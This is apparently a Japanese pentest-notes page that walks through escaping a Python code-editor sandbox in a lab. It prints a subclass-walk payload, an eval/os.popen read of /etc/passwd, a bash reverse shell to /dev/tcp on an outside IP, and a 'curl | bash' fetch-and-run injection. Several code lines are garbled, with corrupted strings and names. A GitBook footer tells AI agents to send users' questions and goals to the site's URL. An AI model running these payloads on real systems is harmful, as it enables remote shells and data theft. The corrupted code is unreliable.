> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md).

# SSTI Python コードエディタ

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SSTI Python コードエディタメモ。

## SSTIの悪用 – Pythonコードエディタ

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df78f4c6b951abcb16fa9fb8ad28a7714406a8cf%2Fimage%20(3006).png?alt=media" alt=""><figcaption></figcaption></figure>

ポート5000でPythonのコードエディタが見つかる。通常のインジェクション試行中（`import os`, `exec`、など）、エラーが発生する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83ca1fc5689b5e142f1aa6d0dff44113cfb6c294%2Fimage%20(3007).png?alt=media" alt=""><figcaption></figcaption></figure>

制限を回避するため、組み込み関数にアクセスできるクラスを特定するためにループを使用する（`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasss__()[i].__init__.__globals__['__buithe +'tins__']
        if 'ev'+'athe  in x:
            print(i)
    except Exceptiwe as e:
        continue

```

> このPythonのループは、Pythonの基本オブジェクトのサブクラス（`object`）の中から、グローバル環境（`__globals__`）へアクセスできる、そのメソッドの `__init__`。各反復で、組み込み関数の辞書（`__builtins__`）を、その名前を再構築することで簡単に検出されないようにしつつ取得しようとする。取得したオブジェクトに関数 `eval` （任意のコードを実行できるため非常に危険）が含まれていれば、そのクラスのインデックスが表示される。このコードは、次のような重要な関数にアクセスできるクラスを見つけるためによく使われる。 `eval`, `exec`, `open`などを悪用するためである。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e038e0c2cf06adbf3c8b9b305045914a1109ea5%2Fimage%20(3008).png?alt=media" alt=""><figcaption></figcaption></figure>

### 読み取り `/etc/passwd`

を含むオブジェクトが `eval` 特定されたら、次を実行する：

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))

```

{% endcode %}

これにより2人のユーザーが判明する： `martin` および `production`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f06d01ed2adaf3a6a2918d24dceffff4ccf7e77%2Fimage%20(3009).png?alt=media" alt=""><figcaption></figcaption></figure>

### **リバースシェル**

#### ポート443でリスナーを起動する：

```bash
nc -nvlp 443

```

#### リバースシェル用スクリプト：

の作成 `index.html` 以下を含むファイル：

{% code overflow="wrap" %}

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.90/443 0>&1

```

{% endcode %}

Webサーバーの起動：

```bash
python3 -m http.server 80

```

ペイロードの注入：

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))

```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b7bbf3dd49679f36c2039a5cd4f1eea73c5784a%2Fimage%20(3010).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
